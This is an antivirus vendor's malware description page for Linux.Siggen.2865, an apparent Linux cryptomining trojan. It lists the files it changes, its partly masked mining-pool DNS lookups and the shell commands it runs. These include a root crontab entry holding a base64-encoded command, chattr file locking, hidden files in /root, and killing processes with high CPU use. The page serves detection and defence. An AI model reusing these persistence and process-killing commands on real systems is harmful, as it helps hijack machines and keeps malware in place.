Для корректной работы нашего сайта необходимо включить поддержку JavaScript в вашем браузере.
Linux.Siggen.2865
Добавлен в вирусную базу Dr.Web:
2020-05-08
Описание добавлено:
2020-05-07
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Launches processes:
sh -c echo 'echo 128 > /proc/sys/vm/nr_hugepages;sysctl -w vm.nr_hugepages=128>/dev/null'|nohup sh >/dev/null 2>&1 &
nohup sh
sh
sysctl -w vm.nr_hugepages=128
sh -c echo \"echo '*/1 * * * * echo Y2QgL3Jvb3QvOy9yb290LzdiNWEwMjRjYWYzNmJiNWVlM2FmMDBjYzNkZWQxNWNlZGJhMGMyYjU=|base64 -d|sh'|crontab\"|nohup sh >/dev/null 2>&1 &
sh -c echo 'sleep 2;<SAMPLE_FULL_PATH>'|nohup sh >/dev/null 2>&1 &
sh -c echo 'chattr -ia /root/.Historys;rm -rf /root/.Historys;cp <SAMPLE_FULL_PATH> /root/.Historys;chmod 775 /root/.Historys;/root/.Historys <SAMPLE_FULL_PATH>;rm -f /root/.Historys;'|nohup sh >/dev/null 2>&1 &
crontab
sleep 2
chattr -ia /root/.Historys
rm -rf /root/.Historys
cp <SAMPLE_FULL_PATH> /root/.Historys
chmod 775 /root/.Historys
/root/.Historys <SAMPLE_FULL_PATH>
rm -f /root/.Historys
sh -c chmod 775 /root/.systemLog;/root/.systemLog;rm /root/.systemLog
chmod 775 /root/.systemLog
/root/.systemLog
<SAMPLE_FULL_PATH>
rm /root/.systemLog
sh -c ps aux |grep -v 9999999 | awk '{if($3>39.0) print $2}' | while read procid; do kill -9 $procid; done
ps aux
grep -v 9999999
awk {if($3>39.0) print $2}
sh -c echo 'chattr +ia <SAMPLE_FULL_PATH>;'|nohup sh >/dev/null 2>&1 &
chattr +ia <SAMPLE_FULL_PATH>
Kills the following processes:
bash
run.sh
/bin/sh
/root/.systemLog
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.jbKdLj
/root/.Historys
/root/.systemLog
/var/spool/cron/crontabs/tmp.535DE5
Creates or modifies files:
/proc/sys/vm/nr_hugepages
/var/spool/cron/crontabs/tmp.jbKdLj
/root/.Historys
/root/.systemLog
/var/spool/cron/crontabs/tmp.535DE5
Deletes files:
/root/.Historys
/root/.systemLog
Network activity:
Establishes connection:
DNS ASK:
xm######ast1.nanopool.org
p.###cow.vip
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
Рекомендации по лечению
Linux
Демо бесплатно
На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)
Скачайте Dr.Web для Android
Бесплатно на 3 месяца
Все компоненты защиты
Продление демо через AppGallery/Google Pay
Если Вы продолжите использование данного сайта, это означает, что Вы даете согласие на использование нами Cookie-файлов и иных технологий по сбору статистических сведений о посетителях. Подробнее
OK